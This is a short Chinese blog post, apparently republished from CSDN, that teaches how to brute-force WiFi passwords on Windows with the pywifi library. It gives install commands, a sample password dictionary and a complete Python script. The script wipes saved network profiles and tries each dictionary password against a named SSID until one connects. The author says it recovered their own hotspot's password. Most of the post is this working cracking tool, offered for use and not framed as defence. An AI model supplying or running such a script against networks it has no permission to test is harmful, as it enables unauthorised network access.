基于pywifi库的暴力破解wifi方法
作者:互联网
简介
破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。
时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?
一番探索,真有!
环境准备
安装pywifi库
pip install pywifi
pip install comtypes
前期准备
破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。
因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:
nihaonihao
132312312
3242342534
53536346534
2423423423
2445356356
234232342
234234234
234453456
12345678
11111111
123123234
代码实现
import pywifi
from pywifi import const
import time
# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
'''WIFI的测试连接'''
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
#断开WiFi连接
ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建WIFI文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = wifiname
# 密码
profile.key = wifipwd
# WiFi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的WIFI文件
ifaces.remove_all_network_profiles()
# 设定新的链接文件
temp_profile = ifaces.add_network_profile(profile)
# 连接wifi
ifaces.connect(temp_profile)
time.sleep(1)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
# 读取密码本
def read_pwd():
'''读取密码本'''
print('开始破解:')
path = r'wifipwd.txt' # 密码字典路径
file = open(path, 'r')
# 开始遍历密码本
while True:
try:
wifipwd = file.readline()
if wifipwd:
wifipwd = wifipwd[:-1] # 删掉最后的换行符
b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称
if b:
print('密码正确'+wifipwd)
break # 退出一层循环
else:
print('密码错误'+wifipwd)
else:
break
except:
continue
file.close()
read_pwd()
测试结果
成功发现我的手机热点密码为 12345678
简评
所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。
标签:profile,wifipwd,暴力破解,ifaces,wifi,pywifi,密码 来源: https://blog.csdn.net/qq_25662827/article/details/122832594